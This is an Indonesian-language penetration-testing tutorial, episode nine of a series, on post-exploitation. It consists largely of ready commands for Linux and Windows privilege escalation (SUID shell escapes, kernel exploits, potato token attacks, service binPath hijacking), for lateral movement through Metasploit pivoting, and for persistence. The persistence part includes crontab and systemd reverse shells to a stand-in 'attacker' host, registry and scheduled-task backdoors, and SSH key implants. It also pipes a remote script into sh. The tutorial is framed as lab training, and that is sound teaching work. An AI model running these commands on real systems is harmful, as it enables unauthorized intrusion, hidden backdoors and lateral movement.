Belajar Penetration Tester - Post-Exploitation & Privilege Escalation

#Pendahuluan

Setelah di episode 8 kita melakukan exploitation — mendapatkan akses awal menggunakan Metasploit dan manual exploitation — pada episode ini kita masuk ke fase post-exploitation: apa yang harus dilakukan setelah mendapatkan foothold. Ini termasuk privilege escalation, persistence, dan pivoting.

Akses awal biasanya hanya memberikan hak akses terbatas (low-privilege user). Post-exploitation adalah tentang meningkatkan hak akses ke root/admin, mempertahankan akses, dan bergerak lateral ke sistem lain. Tanpa post-exploitation yang baik, exploitation hanya mendapatkan shell yang terbatas.

#Privilege Escalation — Linux

#Reconnaissance Awal

bash

# System info
uname -a
cat /etc/os-release
 
# User info
id
whoami
sudo -l
 
# SUID binaries
find / -perm -4000 -type f 2>/dev/null
 
# Crontabs
cat /etc/crontab
ls -la /etc/cron*
 
# Writable directories
find / -writable -type d 2>/dev/null

#SUID Abuse

bash

# Jika SUID binary bisa dieksploitasi (misal: find, vim, python)
find . -exec /bin/sh -p \;
vim -c ':!/bin/sh'
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

#Kernel Exploit

bash

# Cek kernel version
uname -r
 
# Cari exploit
searchsploit linux kernel 4.x
 
# Compile dan jalankan exploit
gcc exploit.c -o exploit
./exploit

#Misconfigured Services

bash

# Cari file yang dimiliki root tapi writable oleh semua
find / -user root -perm -o+w 2>/dev/null
 
# Cek capabilities
getcap -r / 2>/dev/null
 
# Cek PATH hijacking
echo $PATH
ls -la /usr/local/bin/

#Privilege Escalation — Windows

#Reconnaissance Awal

powershell

# System info
systeminfo
hostname
 
# User info
whoami /all
net user
net localgroup administrators
 
# Running services
tasklist /svc
wmic service list brief
 
# Installed software
wmic product get name,version

#Token Impersonation

powershell

# Cek available tokens
whoami /priv
 
# Jika SeImpersonatePrivilege enabled (misal: SQL Server)
# Gunakan potato attack
PrintSpoofer.exe -c "cmd /c whoami"
GodPotato.exe -cmd "cmd /c whoami"

#Service Misconfiguration

powershell

# Cari service dengan unquoted path
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows"
 
# Jika service writable oleh user
sc config VulnService binPath= "C:\temp\malicious.exe"
sc stop VulnService
sc start VulnService

Tip

Gunakan LinPEAS (Linux) atau WinPEAS (Windows) untuk automasi enumeration privilege escalation. Tool ini memindai sistem secara comprehensive dan mengidentifikasi potensi vector.

#Persistence

Setelah mendapatkan hak akses tinggi, kalian perlu mempertahankan akses:

#Linux Persistence

bash

# SSH key
echo "ssh-rsa AAAA..." >> ~/.ssh/authorized_keys
 
# Crontab
echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/attacker/4444 0>&1'" | crontab -
 
# Systemd service
cat > /etc/systemd/system/backdoor.service << 'EOF'
[Unit]
Description=System Service
 
[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/attacker/4444 0>&1'
Restart=always
 
[Install]
WantedBy=multi-user.target
EOF
systemctl enable backdoor.service

#Windows Persistence

powershell

# Registry Run key
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "backdoor" /t REG_SZ /d "C:\temp\malicious.exe"
 
# Scheduled Task
schtasks /create /tn "SystemUpdate" /tr "C:\temp\malicious.exe" /sc ONLOGON

#Pivoting & Lateral Movement

Pivoting adalah bergerak dari sistem yang sudah dikompromi ke sistem lain dalam jaringan yang sama:

bash

# Metasploit autoroute
run autoroute -s 10.0.0.0/24
 
# Port forwarding
portfwd add -l 8080 -p 80 -r 10.0.0.5
 
# SOCKS proxy untuk tools lain
use auxiliary/server/socks_proxy
set SRVPORT 1080
run
 
# Gunakan proxychains
proxychains nmap -sT 10.0.0.0/24
proxychains curl http://10.0.0.5

#Praktik: Privilege Escalation

Di lab atau HackTheBox:

bash

# 1. Enumeration awal
sudo -l
find / -perm -4000 2>/dev/null
cat /etc/crontab
 
# 2. Jalankan LinPEAS
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
 
# 3. Eksploitasi temuan
# 4. Verifikasi: id → root

#Penutup

Inti yang harus dibawa pulang:

Linux privesc: SUID abuse, kernel exploit, misconfigured services, PATH hijacking.
Windows privesc: token impersonation (potato attacks), unquoted service path, writable services.
Persistence: SSH keys, crontabs, systemd services, registry keys, scheduled tasks.
Pivoting: autoroute, port forwarding, SOCKS proxy untuk lateral movement.

Di episode 10 selanjutnya, kita akan mempelajari Active Directory pentesting — kerentanan AD seperti Kerberos attacks, BloodHound, dan lateral movement di environment enterprise.